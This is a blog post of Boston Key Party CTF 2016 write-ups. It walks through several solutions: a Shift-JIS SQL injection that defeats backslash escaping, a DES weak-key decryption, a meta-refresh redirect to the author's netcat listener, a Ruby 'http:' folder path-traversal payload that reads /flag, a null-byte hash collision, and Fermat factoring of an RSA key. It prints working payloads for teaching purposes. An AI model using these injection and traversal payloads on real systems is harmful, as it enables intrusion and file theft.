Boston Key Party CTF 2016 writeups

I participated in the Boston Key Party CTF 2016 and would like to share my solutions for the following challenges with you:

Click the links above to jump to the writeup.

Good morning

Good Morning - 3 - 99 solves : web: http://52.86.232.163:32800/ https://s3.amazonaws.com/bostonkeyparty/2016/bffb53340f566aef7c4169d6b74bbe01be56ad18.tgz

This was a challenge in the 'web' category. After downloading the sourcecodeI noticed the following lines:

# Use Shift-JIS for everything so it uses less bytes
Response.charset = "shift-jis"
connect_params["charset"] = "sjis"

#[...]

# List from http://php.net/manual/en/function.mysql-real-escape-string.php
MYSQL_SPECIAL_CHARS = [
  ("\\", "\\\\"),
  ("\0", "\\0"),
  ("\n", "\\n"),
  ("\r", "\\r"),
  ("'", "\\'"),
  ('"', '\\"'),
  ("\x1a", "\\Z"),
]
def mysql_escape(s):
  for find, replace in  MYSQL_SPECIAL_CHARS:
    s = s.replace(find, replace)
  return s

Okay, it looks like someone is trying to prevent SQL-Injection by escaping characters. I checked if the MYSQL_SPECIAL_CHARS array contains all dangerous characters and yes nothing is missing.

Another thing that instantly triggered a red flag is the Shift-JIS enconding. I guess that setting the response charset doesn't really make sense, but changing the MySQL connection's charset can lead to SQL-Injection.

Looking further down the code, we find two possible injection candidates:

      if message["type"] == "answer":
        question = mysql_escape(questions[i])
        answer = mysql_escape(message["answer"])
        cursor.execute('INSERT INTO answers (question, answer) VALUES ("%s", "%s")' % (question, answer))
        conn.commit()

and

      elif message["type"] == "get_answer":
        question = mysql_escape(message["question"])
        answer = mysql_escape(message["answer"])
        cursor.execute('SELECT * FROM answers WHERE question="%s" AND answer="%s"' % (question, answer))
        ws.send(json.dumps({"type": "got_answer", "row": cursor.fetchone()}))

The latter is more interesting, because I couldn't think of an exploit where an INSERT statement would help. The next step is to modify the SELECT query and hope that the flag is somewhere in the database.

Obviously, the usual SQL-Injection tricks won't work, because dangerous characters are escpaed by mysql_escape(s). The trick may be to use multibyte characters which encoded as unicode pass the filter, but encoded as shift-jis turn into dangerous characters.

My next idea was to write a small encoding-simulator, so that I can build the injection exploit locally and then simply run it against the service. It turned out that this took way more time than expected.
My first idea was to use 0xe0 as the value for question to consume the following " and form the following query:

SELECT * FROM answers WHERE question="AND answer="%s"

Setting answer=" or 1=1 -- " should turn it into a successfull SQL-Injection, but unfortunately that didn't work.

I further noticed that neither Python nor PHP really like multibyte characters:

$> python2 -c 'print "\xe0abc".encode("shift-jis")'
Traceback (most recent call last):
  File "<string>", line 1, in <module>
UnicodeDecodeError: 'ascii' codec can't decode byte 0xe0 in position 0: ordinal not in range(128)

$> php hack.php "\u00e0abc" a 
{"type":"get_answer","question":"\u00e0abc","answer":"a"}
SELECT * FROM answers WHERE question="àabc" AND answer="a"
SELECT * FROM answers WHERE question="?abc" AND answer="a"

After spending way too much time to try to figure out a way to simulate the unicode->shift-jis encoding, I thought that if we can't remove the ", we can (ab)use the escaping for our attack. Here's a python script and after looking through the output I noticed the following lines:

========: a5
a5
\u00a5\u0022\u0020\u006f\u0072\u0020\u0031\u003d\u0031\u0020\u002d\u002d\u0020
{"type":"get_answer","question":"\u00a5\u0022\u0020\u006f\u0072\u0020\u0031\u003d\u0031\u0020\u002d\u002d\u0020","answer":"answer"}
SELECT * FROM answers WHERE question="\\" or 1=1 -- " AND answer="answer"

The 0xa5 will turn into a \ and thus escape the escaping backslash, what leaves us with a functioning ". I used the simple websocket client to submit the JSON data and it returned the flag:

{"type": "got_answer", "row": [1, "flag", "BKPCTF{TryYourBestOnTheOthersToo}"]}

des ofb

des ofb - 2 - 182 solves : crypto: Decrypt the message, find the flag, and then marvel at how broken everything is. https://s3.amazonaws.com/bostonkeyparty/2016/e0289aac2e337e21bcf0a0048e138d933b929a8c.tar

The sourcecode contains some python lines. It's straight forward to write a snippet which tries to decrypt the ciphertext:

from Crypto.Cipher import DES

KEY = raw_input("Key: ").strip().decode('hex')
IV = '13245678'
a = DES.new(KEY, DES.MODE_OFB, IV)

f = open('ciphertext', 'r')
ciphertext = f.read()
f.close()

ciphertext = a.decrypt(ciphertext)
print ciphertext

The task description doesn't give us any hints about the key, but python's help function does:

DESCRIPTION
    DES `(Data Encryption Standard)`__ is a symmetric block cipher standardized
    by NIST_ . It has a fixed data block size of 8 bytes.
    Its keys are 64 bits long, even though 8 bits were used for integrity (now they
    are ignored) and do not contribute to securty.
    
    DES is cryptographically secure, but its key length is too short by nowadays
    standards and it could be brute forced with some effort.

help(DES) tells us that the key should be 64 bits (= 8byte) long and that it could be brute forced. The IV is also 8 bytes long. However, brute forcing the whole 64bit keyspace can't be the solution. I gave 0x0000000000000000 a try and got a strange plaintext-ciphertext mix:

uì$¥s Consci>Æ¢s make Cý
)íf us allÀ*5P¹us the N;-P¥e of Resæ/£qIs sicklů{W¨	, with tįK+¨[cast of ø¢.¹W
And entɸ of greaØê¥[and mome¾GQ±¹ this re˫?Æ¥ir Curre¾{¿ awry,
{§¹on. Soft³.Æ¢
               ,
The faŸK¨ia? NympÄæK2P¹y OrisonßÀ)>Æ¡ my sins¸6¯red. BKPï- ts_just_͕3¹$repeatin˕/Q°q

There's BKP and _just_ in it, but that's still not the whole flag. Googling for "Des 0x0000000000000000" brings us to a Wikipedia article about Weak DES keys. I started to test all possible weak keys and voila 0xE1E1E1E1F0F0F0F0 gives us the plaintext:

 [snip]
The fair Ophelia? Nymph, in thy Orisons
Be all my sins remembered. BKPCTF{so_its_just_a_short_repeating_otp!}

Bug Bounty

Bug Bounty - 3 - 40 solves : web: grill the web! http://52.87.183.104:5000/

This was another web challenge, but this time without sourcecode. It was a kind of a submission system. One could register an account and then submit "bug reports". The report had an initial state of pending, but after solving a captcha the report was marked as seen and diplayed back to the user.

I remembered a challenge where an XSS had to be used to hijack the "admin" account. So my first idea was to somehow validate if a remote client is actually viewing the report or not (e.g. a phantomjs headless browser).

I ran nc -l -p 8088 on my server and created a bug report with the following text: '"><img src="http://SERVER:8088/test.png">. I waited some seconds after solving the captcha, but nothing happened and even after I viewed the submission no request reached my nc instance.

That was when I noticed the CSP header:

content-security-policy:"default-src 'none'; connect-src 'self';  frame-src 'self'; script-src 52.87.183.104:5000/dist/js/ 'sha256-KcMxZjpVxhUhzZiwuZ82bc0vAhYbUJsxyCXODP5ulto=' 'sha256-u++5+hMvnsKeoBWohJxxO3U9yHQHZU+2damUA6wnikQ=' 'sha256-zArnh0kTjtEOVDnamfOrI8qSpoiZbXttc6LzqNno8MM=' 'sha256-3PB3EBmojhuJg8mStgxkyy3OEJYJ73ruOF7nRScYnxk=' 'sha256-bk9UfcsBy+DUFULLU6uX/sJa0q7O7B8Aal2VVl43aDs='; font-src 52.87.183.104:5000/dist/fonts/ fonts.gstatic.com; style-src 52.87.183.104:5000/dist/css/ fonts.googleapis.com; img-src 'self';"

It blocks XSS attacks by limiting the source of potential dangerous input to pre-defined sources.
The next thought was to somehow bypass CSP and to execute an XSS. However, I doubted that a (0day) CSP bypass is the solution for this challenge and I still didn't find out if someone/something is actually viewing (rendering) the page.

I had the idea to use a redirect to navigate the reviewer to my website, so I created a submission with <meta http-equiv="refresh" content="0; url=http://SERVER:8088/hi">. A couple of seconds later I saw this:

$> nc -l -p 8088
GET /hi HTTP/1.1
Host: SERVER:8088
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: BKPCTF{choo choo__here comes the flag}
Referer: http://localhost:5000/show_report_frame.html/3a35884912b990b45cca4669916bd521303cc63e
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8

Honestly, I expected that challenge to have another layer to hack before getting the flag.

OptiProxy

OptiProxy - 2 - 97 solves : web: inlining proxy here http://optiproxy.bostonkey.party:5300

This was the last web challenge. It straight out tells you where the sourcecode is: source is in /source It's written in ruby and sinatra. The main functionality is the /:url route:

get '/:url' do
        url = params[:url]
        main_dir = Dir.pwd
        temp_dir = ""
        dir = Dir.mktmpdir "inliner"
        Dir.chdir dir
        temp_dir = dir
        exec = "timeout 2 wget -T 2 --page-requisites #{Shellwords.shellescape url}"
        `#{exec}`
        my_dir = Dir.glob ("**/")
        Dir.chdir my_dir[0]
        index_file = "index.html"
        html_file = IO.read index_file
        doc = Nokogiri::HTML(open(index_file))
        doc.xpath('//img').each do |img|
                header = img.xpath('preceding::h2[1]').text
                image = img['src']
                img_data = ""
                uri_scheme = URI(image).scheme
                begin
                        if (uri_scheme == "http" or uri_scheme == "https")
                                url = image
                        else
                                url = "http://#{url}/#{image}"
                        end
                        img_data = open(url).read
                        b64d = "data:image/png;base64," + Base64.strict_encode64(img_data)
                        img['src'] = b64d
                rescue
                        # gotta catch 'em all
                        puts "lole"
                        next
                end
        end
        puts dir
        FileUtils.rm_rf dir
        Dir.chdir main_dir
        doc.to_html
end

The exec variable looks interesting, but the parameter is escaped properly. It saves the contents of the url given in the url parameter into a temporary directory. It continues to read the contents of the index.html file and extract all img tags. All images are converted to a base64 string and inlined into a single html file.

My first idea was to try a 301/302 redirect from a http(s)://-url to file:///etc/passwd, but it turns out neither ruby nor wget like redirects to the file://-protocol.

I started to focus on the image downloading and converting.

                        if (uri_scheme == "http" or uri_scheme == "https")
                                url = image
                        else
                                url = "http://#{url}/#{image}"
                        end

These lines seem pretty solid and there's no way to change the protocol. Let's use some google magic: ruby uri scheme security leads to a blogpost from Egor where an interesting bypass is explained:

One more example: open(params[:url]) if URI(params[:url]).scheme == 'http'. Looks good, but if you manage to create a folder called “http:”, the attacker can read local files with http:/../../../../../etc/passwd (hello, CarrierWave!).

That helps a lot, because --page-requisites does download all necessary files for displaying the downloaded website and thus creates directories for the assets. That means we can create the http:/ directory. There's also the hidden hint about the flag's location:

get '/flag' do
        str = "I mean, /flag on the file system... If you're looking here, I question"
        str << " your skills"
        str
end

Okay, let's try this. First we create an index.html with references to our images:

<html>
<body>
Miau!
<img src="./http:/dummy">
<img src="./http:/../../../../../../../../flag">
</body>
</html>

Now we have to convince wget to create the http:/ directory:

$> mkdir 'http:/'
$> echo "hi" > 'http:/dummy'

The final step is to let the website do its work: http://optiproxy.bostonkey.party:5300/bkpctf.gehaxelt.in. We'll find the flag in the second image's src attribute:

echo -n 'QktQQ1RGe21heWJlIGRvbnQgaW5saW5lIGV2ZXJ5dGhpbmcufQo=' | base64 -d 
BKPCTF{maybe dont inline everything.}

ltseorg

ltseorg - 4 - 75 solves : crypto: make some (charlie)hash collisions! ltseorg.bostonkey.party 5555 https://s3.amazonaws.com/bostonkeyparty/2016/a531382ad51f8cd2b74369e2127e11dfefb1676b.tar

This one was a bit strange. It's a crypto challenge written in Python (Source) and Ruby.
The Ruby part is only the wrapper which calls the python code:

		exec = "python ./tlseorg.py --check #{Shellwords.shellescape s1} #{Shellwords.shellescape s2}"
		out = `#{exec}`
		puts out
		if out == "Success\n"
			conn.puts "FLAG"
		else
			conn.puts "failure"
		end

With these arguments, the python script runs the following code:

	elif len(sys.argv) == 4 and (sys.argv[1] == "--check"):
			if check(sys.argv[2], sys.argv[3]): print "Success"
			else: print "Failure"

The check function first decodes our string as hex followed by a bit of string comparison and finally passes the data to the hash function:

def check(hashstr1, hashstr2): 
	hash1 = binascii.unhexlify(hashstr1);hash2 = binascii.unhexlify(hashstr2)
	if hashstr1 == hashstr2 or hash1 == hash2: return False 
	elif hash(hash1) == hash(hash2): return True
	return False

So we need to find a hash collision as the description suggests:

make some (charlie)hash collisions!

The first thing the hash function does is to pad the message with NUL-bytes:

def pad_msg(msg):
	while not (len(msg) % 16 == 0): msg+="\x00"
	return msg

Because of the unhexlify our 00 input will turn into a NUL-byte, thus becoming a part of the padding and bypassing the string comparisons.

This is how I got the flag:

$> nc ltseorg.bostonkey.party 5555
gimme str 1
00
gimme str 2
0000
BKPCTF{really? more crypto?}

Ideas & Fails

I'd like to write about some challenges were I had an idea or failed.

Bob's hat

bob's hat - 4 - 63 solves : crypto : Alice and Bob are close together, likely because they have a lot of things in common.
This is why Alice asked him a small question, about something cooler than a wiener

We're given a public key, a password protected zip file and some encrypted data. The modulus is 1024 bit long. From the hints we find this stackexchange thread:

For instance, the paper gives an example of a 1024-bit RSA modulus ($k=1024$). It says that if $p$ and $q$ are identical in their 171 most significant bits, then you can factor $n$. You can compare this to the requirement in the DSS standard, if you like.

That links to Fermats factorisation method which I implemented in python:

#!/usr/bin/python2
import bigfloat
PRECISION=2000
n = 0x0086e996013e77c41699000e0941d480c046b2f71a4f95b350ac1a4d426372923d8a4561d96fbfb0240595907201ad3225cf6eded7de02d91c386ffac280b72d0f95cae71f42ebe0d3edaeace7cea3195fa32c1c6080d90ef853d06dd4572c92b9f8310bbc0c635a5e26952511751030a6590816554e763031bcbb31e3f119c65fL
n_sqrt = bigfloat.sqrt( n , bigfloat.precision(PRECISION))

a = bigfloat.ceil( n_sqrt , bigfloat.precision(PRECISION))

a_sqr = bigfloat.pow(a, 2, bigfloat.precision(PRECISION))
an_sub = bigfloat.sub(a_sqr, n , bigfloat.precision(PRECISION))

b = bigfloat.sqrt( an_sub , bigfloat.precision(PRECISION))


def is_int(num):
	qf = bigfloat.floor(num, bigfloat.precision(PRECISION))
	x = bigfloat.sub(num, qf , bigfloat.precision(PRECISION))
	assert(x >= 0)
	if x > 0:
		return False
	return True

while not is_int(b):
	a = bigfloat.add( a, 1, bigfloat.precision(PRECISION))

	a_sqr = bigfloat.pow(a, 2, bigfloat.precision(PRECISION))
	an_sub = bigfloat.sub(a_sqr, n , bigfloat.precision(PRECISION))
	b = bigfloat.sqrt( an_sub , bigfloat.precision(PRECISION))


ab = bigfloat.sub(a,b, bigfloat.precision(PRECISION))
ba = bigfloat.add(a,b, bigfloat.precision(PRECISION))
print (ab,ba)

#p = 9733382803370256893136109840971590971460094779242334919432347801491641617443615856221168611138933576118196795282443503609663168324106758595642231987245583
#q = 9733382803370256893136109840971590971460094779242334919432347801491641617443615856221168611138933576118196795282443503609663168324106758595642231987246769
#n = 0x0086e996013e77c41699000e0941d480c046b2f71a4f95b350ac1a4d426372923d8a4561d96fbfb0240595907201ad3225cf6eded7de02d91c386ffac280b72d0f95cae71f42ebe0d3edaeace7cea3195fa32c1c6080d90ef853d06dd4572c92b9f8310bbc0c635a5e26952511751030a6590816554e763031bcbb31e3f119c65fL
#e = 0x10001

It found some p & q with one iteration and I was able to decrypt the first zipfile:

cat almost_almost_almost_almost_there.encrypted | openssl rsautl -decrypt -inkey private.key -raw
XtCgoEKksjKFWlqOSxqsEhK/+tsr1k5c

The trick here was to use the -raw switch to disable the padding checks. After unzipping the first zip file another public key needed to be cracked. I read through different papers and links to find a RSA attack which is cooler than Wiener's attack and also targets small prime differences. Unfortunately I didn't succeed to recover the second private key.

Simple calc

Simple Calc - 5 - 174 solves : pwn: what a nice little calculator! https://s3.amazonaws.com/bostonkeyparty/2016/b28b103ea5f1171553554f0127696a18c6d2dcf7 simplecalc.bostonkey.party 5400

I took radare2 and had a look at this binary. I think I understood what it does and that the issue is the memcpy:

I have yet to become an exploiter and definitely need to learn about (basic) exploitation techniques. I know a bit how it works in theory, but I'm missing the practice part.

-=-